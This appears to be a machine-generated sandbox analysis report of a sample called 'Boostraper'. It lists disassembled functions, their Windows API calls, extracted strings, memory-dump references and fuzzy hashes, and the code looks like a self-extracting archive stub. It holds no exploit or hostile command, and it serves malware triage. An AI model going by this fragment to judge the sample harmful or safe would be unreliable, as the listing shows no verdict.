Function 0079EE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,0079F5A2,?,00000000,?,00000000,00000000), ref: 0079EE6F
__fassign.LIBCMT ref: 0079EEEA
__fassign.LIBCMT ref: 0079EF05
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 0079EF2B
WriteFile.KERNEL32(?,?,00000000,0079F5A2,00000000,?,?,?,?,?,?,?,?,?,0079F5A2,?), ref: 0079EF4A
WriteFile.KERNEL32(?,?,00000001,0079F5A2,00000000,?,?,?,?,?,?,?,?,?,0079F5A2,?), ref: 0079EF83

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: fa52ed885120ca112200c6a5bf457705f8e95d4267f387f1e5976014f0f81e40
Instruction ID: 3781cca6981a74a580fee8e4144c40d90ead87f738abb4c9426903f6608af0b6
Opcode Fuzzy Hash: fa52ed885120ca112200c6a5bf457705f8e95d4267f387f1e5976014f0f81e40
Instruction Fuzzy Hash: 8F51A271A00209AFDF10CFA8E845AEEBBFAEF09310F14451AE555E7291E735A940CB64

Function 0078C534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0078C54A
_swprintf.LIBCMT ref: 0078C57E

Part of subcall function 0077400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0077401D

SetDlgItemTextW.USER32(?,00000066,007B946A), ref: 0078C59E
_wcschr.LIBVCRUNTIME ref: 0078C5D1
EndDialog.USER32(?,00000001), ref: 0078C6B2

Strings

%s%s%u, xrefs: 0078C573

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: e41e1a503328b94ac2fe2986a10600b73dc109dd1472935ccf2214b93083a540
Instruction ID: 4042adf165c7b6eef81b0bc23a6ec01ece6c9d13b64d3b347eaaeaf3efa74fa9
Opcode Fuzzy Hash: e41e1a503328b94ac2fe2986a10600b73dc109dd1472935ccf2214b93083a540
Instruction Fuzzy Hash: DB41A5B1D40658EADF26EBA4DC45FDA77BCAB08301F0080A6E609D6061E7799BC4CB65

Function 00788E62 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00788F38
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00788F59

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00788EB2
utf-8"></head>, xrefs: 00788EBD
</html>, xrefs: 00788F0A
<html>, xrefs: 00788EA7, 00788EE0

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3286310052-4209811716
Opcode ID: 77e92a9d8cb8876836de34b1e172c3242ee89cc8aeaa3427f091e1155fccffbf
Instruction ID: 8ef725cc33cd49f5fd97a468bb143f1ed5dabcb17b52cf0e4b7bf7a368ae9d82
Opcode Fuzzy Hash: 77e92a9d8cb8876836de34b1e172c3242ee89cc8aeaa3427f091e1155fccffbf
Instruction Fuzzy Hash: FF314E31584315BBDB24BB34AC0AFAF7768DFC6720F44411AF911961C1DF6C9A09C3A6

Function 00789635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 0078964E
GetWindowRect.USER32(?,00000000), ref: 00789693
ShowWindow.USER32(?,00000005,00000000), ref: 0078972A
SetWindowTextW.USER32(?,00000000), ref: 00789732
ShowWindow.USER32(00000000,00000005), ref: 00789748

Strings

RarHtmlClassName, xrefs: 007896F4

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 8b3c641d8c2272f593023f13e63da6685240e68e999467c5d6eecd1daab2af49
Instruction ID: a17de08eb6396f667268522478a2c15e953478bd21c3bceec93513125477da99
Opcode Fuzzy Hash: 8b3c641d8c2272f593023f13e63da6685240e68e999467c5d6eecd1daab2af49
Instruction Fuzzy Hash: C931CE31145204EFCB11AF64DC4CB6B7BB8EF48301F08C55AFA49AA152DB39D806CB65

Function 0079BFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0079BF79: _free.LIBCMT ref: 0079BFA2

_free.LIBCMT ref: 0079C003

Part of subcall function 007984DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958), ref: 007984F4
Part of subcall function 007984DE: GetLastError.KERNEL32(007A3958,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958,007A3958), ref: 00798506

_free.LIBCMT ref: 0079C00E
_free.LIBCMT ref: 0079C019
_free.LIBCMT ref: 0079C06D
_free.LIBCMT ref: 0079C078
_free.LIBCMT ref: 0079C083
_free.LIBCMT ref: 0079C08E

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction ID: 43629ec16ae305f7002f9a522d53f4829c299f0f08d12e8a9b72ff147447ca68
Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction Fuzzy Hash: 63113D71540B08FADE60BBB0ED4FFCBB79E6F01700F408865B29D66562DB69F9048B91

Function 007920CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,007920C1,0078FB12), ref: 007920D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 007920E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 007920FF
SetLastError.KERNEL32(00000000,?,007920C1,0078FB12), ref: 00792151

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 53a10a011bbe9cb2a1b8b4271bfe94e4946a826caa407814426136eacba63754
Instruction ID: b76418bd045f227a77a56a0e1dcf9b9e152166f8cc09345db34a2cd3ab6cd7a0
Opcode Fuzzy Hash: 53a10a011bbe9cb2a1b8b4271bfe94e4946a826caa407814426136eacba63754
Instruction Fuzzy Hash: 3201D832189315FEBF543BB57C895172A54EB537717214B29F210590F2EE1D4C125248

Function 00799029 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,007B0EE8,00000200,0079895F,007958FE,?,?,?,?,0077D25E,?,031D6D00,00000063,00000004,0077CFE0,?), ref: 0079902E
_free.LIBCMT ref: 00799063
_free.LIBCMT ref: 0079908A
SetLastError.KERNEL32(00000000,007A3958,00000050,007B0EE8), ref: 00799097
SetLastError.KERNEL32(00000000,007A3958,00000050,007B0EE8), ref: 007990A0

Strings

Xz, xrefs: 0079907E

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ErrorLast$_free
String ID: Xz
API String ID: 3170660625-1877267331
Opcode ID: c2c2c3c3c2791ca9e8c8381ae98160b69f78f7faed043a21d9cc41d2aa084d90
Instruction ID: 961e4ffc98f90eb38908a8a55bfeb4fb2a20fa8cac5d98997d61ffda8874838c
Opcode Fuzzy Hash: c2c2c3c3c2791ca9e8c8381ae98160b69f78f7faed043a21d9cc41d2aa084d90
Instruction Fuzzy Hash: 0901F976605B02AAEF216B7C7C8992B262E9FD3371325412DF62593251EE6CCC014165

Function 0078DC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

KERNEL32.DLL, xrefs: 0078DCB4
ReleaseSRWLockExclusive, xrefs: 0078DCD9
AcquireSRWLockExclusive, xrefs: 0078DCC9

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 6cb8cb33589414ae94fd897a7dd2da4678df033dbcf1e07e3dff5e3a8b6f6838
Instruction ID: 7bf8fea260213933131c89b1f85f7bf2cb5a6a42cd6efd7d18e57080ca3c3f85
Opcode Fuzzy Hash: 6cb8cb33589414ae94fd897a7dd2da4678df033dbcf1e07e3dff5e3a8b6f6838
Instruction Fuzzy Hash: A101F9717D12225F4F307E745C816EB67A4EA82323724A23BE501D3280DA9DCC41D7F4

Function 00798060 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0079807E

Part of subcall function 007984DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958), ref: 007984F4
Part of subcall function 007984DE: GetLastError.KERNEL32(007A3958,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958,007A3958), ref: 00798506

_free.LIBCMT ref: 00798090
_free.LIBCMT ref: 007980A3
_free.LIBCMT ref: 007980B4
_free.LIBCMT ref: 007980C5

Strings

z, xrefs: 00798074

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: z
API String ID: 776569668-2789636237
Opcode ID: 94e1b730f202f643b6276fe44a0c23b49e1810790cf9552fddc766c14a069379
Instruction ID: 6dc8cdd4024a11474abbfb31b02340038e4d5b2e257e9c1cb11a7f6cff391958
Opcode Fuzzy Hash: 94e1b730f202f643b6276fe44a0c23b49e1810790cf9552fddc766c14a069379
Instruction Fuzzy Hash: 17F017B4A02165EB8B916F19BC158053B75FB1672034EC65BF40096A70CF3EA8619FCA

Function 00780CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00780D0D

Part of subcall function 0077ACF5: GetVersionExW.KERNEL32(?), ref: 0077AD1A

LocalFileTimeToFileTime.KERNEL32(?,00780CB8), ref: 00780D31
FileTimeToSystemTime.KERNEL32(?,?), ref: 00780D47
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00780D56
SystemTimeToFileTime.KERNEL32(?,00780CB8), ref: 00780D64
SystemTimeToFileTime.KERNEL32(?,?), ref: 00780D72

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: da20707dad95417034f87a7548f8ce5baf88d548960f3fbe8fa93e43e1563593
Instruction ID: 4277e59755a1c0efc2052bd89cff5da2d26efab77339c6a035b86dc80e0e28a6
Opcode Fuzzy Hash: da20707dad95417034f87a7548f8ce5baf88d548960f3fbe8fa93e43e1563593
Instruction Fuzzy Hash: 4431EA7A90020AEBCB00DFE5C8859EFFBBDFF58700B04455AE955E7210E7349645CB68

Function 007891B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 007891D4
_memcmp.LIBVCRUNTIME ref: 007891EB

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 9eda46f583944988508f01ad8c9082e38ee19769cd01dac03fe31a0dbed1d4e0
Instruction ID: b6830ed8e65bc2c5ce63f2ca1033d63b05e546e04f82b8ffc60a1872e52e1234
Opcode Fuzzy Hash: 9eda46f583944988508f01ad8c9082e38ee19769cd01dac03fe31a0dbed1d4e0
Instruction Fuzzy Hash: DD21B7B168410EBBDB04BE10CC41E3B77ADFB91788B188224FE0997206E278DD4157A0

Function 0078D2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0078D2F2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0078D30C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0078D31D
TranslateMessage.USER32(?), ref: 0078D327
DispatchMessageW.USER32(?), ref: 0078D331
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0078D33C

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 198eeca68f60145835c8efb780b56a4569b8fc25f0bd1cf507360ddfe973888d
Instruction ID: 44cfb507566ebd5bd1361258298118ef788b9b24c3596b43d0d5bc24ae338f21
Opcode Fuzzy Hash: 198eeca68f60145835c8efb780b56a4569b8fc25f0bd1cf507360ddfe973888d
Instruction Fuzzy Hash: 5EF01972A0211DABCB206BA1EC4DEDBBF7EEF62391F048112B606D2051D6288942C7B5

Function 0078C40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0078C435

Part of subcall function 007817AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0077BB05,00000000,.exe,?,?,00000800,?,?,007885DF,?), ref: 007817C2

Strings

HIDE, xrefs: 0078C474
MIN, xrefs: 0078C4A3
<, xrefs: 0078C41E
MAX, xrefs: 0078C487

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CompareString_wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2548945186-3358265660
Opcode ID: 79834988d9c4d4406456dbe45e67dd3532466f508262bcfaf2875c167bf56a4d
Instruction ID: 00c54830fe0ce99777835f8fc4eb57ed20bb035477b3719e8b484a469931a37e
Opcode Fuzzy Hash: 79834988d9c4d4406456dbe45e67dd3532466f508262bcfaf2875c167bf56a4d
Instruction Fuzzy Hash: 81319872980249AADF26EA94CC45FEA77BCEB54310F004066FA09D6050E7B89EC4CB61

Function 0078A990 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0077130B: GetDlgItem.USER32(00000000,00003021), ref: 0077134F
Part of subcall function 0077130B: SetWindowTextW.USER32(00000000,007A35B4), ref: 00771365

EndDialog.USER32(?,00000001), ref: 0078A9DE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0078A9F6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0078AA24

Strings

GETPASSWORD1, xrefs: 0078A9A9
xj|, xrefs: 0078AA02

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xj|
API String ID: 445417207-9170109
Opcode ID: ea9b3d3caf052d3b6f5d1a323428b3dbe74ee3112a12523353c90c587ae82c73
Instruction ID: f8ef57faab76380a8b572fc7b9b5d34752f04d9450044d6beb1a6f7715eedc93
Opcode Fuzzy Hash: ea9b3d3caf052d3b6f5d1a323428b3dbe74ee3112a12523353c90c587ae82c73
Instruction Fuzzy Hash: 9D116F33984118BAEB21AA649D0DFFB3B3CEB59300F008013FA45B2481C2AD9D52D773

Function 0078ADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0078ADFD
GetObjectW.GDI32(00000000,00000018,?), ref: 0078AE22
DeleteObject.GDI32(00000000), ref: 0078AE54
DeleteObject.GDI32(00000000), ref: 0078AE77

Part of subcall function 00789E1C: FindResourceW.KERNEL32(0078AE4D,PNG,?,?,?,0078AE4D,00000066), ref: 00789E2E
Part of subcall function 00789E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,0078AE4D,00000066), ref: 00789E46
Part of subcall function 00789E1C: LoadResource.KERNEL32(00000000,?,?,?,0078AE4D,00000066), ref: 00789E59
Part of subcall function 00789E1C: LockResource.KERNEL32(00000000,?,?,?,0078AE4D,00000066), ref: 00789E64

Strings

], xrefs: 0078AE2A

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID: ]
API String ID: 142272564-3352871620
Opcode ID: c978140c24af01e1d7e4017dda014aef296d956165b7e0a99e17bae18801b99f
Instruction ID: 145682b42ede58147603bfb827897d8f9a8c3b824080fe5de8d96698c4a93baf
Opcode Fuzzy Hash: c978140c24af01e1d7e4017dda014aef296d956165b7e0a99e17bae18801b99f
Instruction Fuzzy Hash: 4301C4325C1215F7D71077649C0AA7F7B79AB81B52F0C4116BE00E7292DA3D8C1697B5

Function 0078CC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 0077130B: GetDlgItem.USER32(00000000,00003021), ref: 0077134F
Part of subcall function 0077130B: SetWindowTextW.USER32(00000000,007A35B4), ref: 00771365

EndDialog.USER32(?,00000001), ref: 0078CCDB
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0078CCF1
SetDlgItemTextW.USER32(?,00000066,?), ref: 0078CD05
SetDlgItemTextW.USER32(?,00000068), ref: 0078CD14

Strings

RENAMEDLG, xrefs: 0078CCA8

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

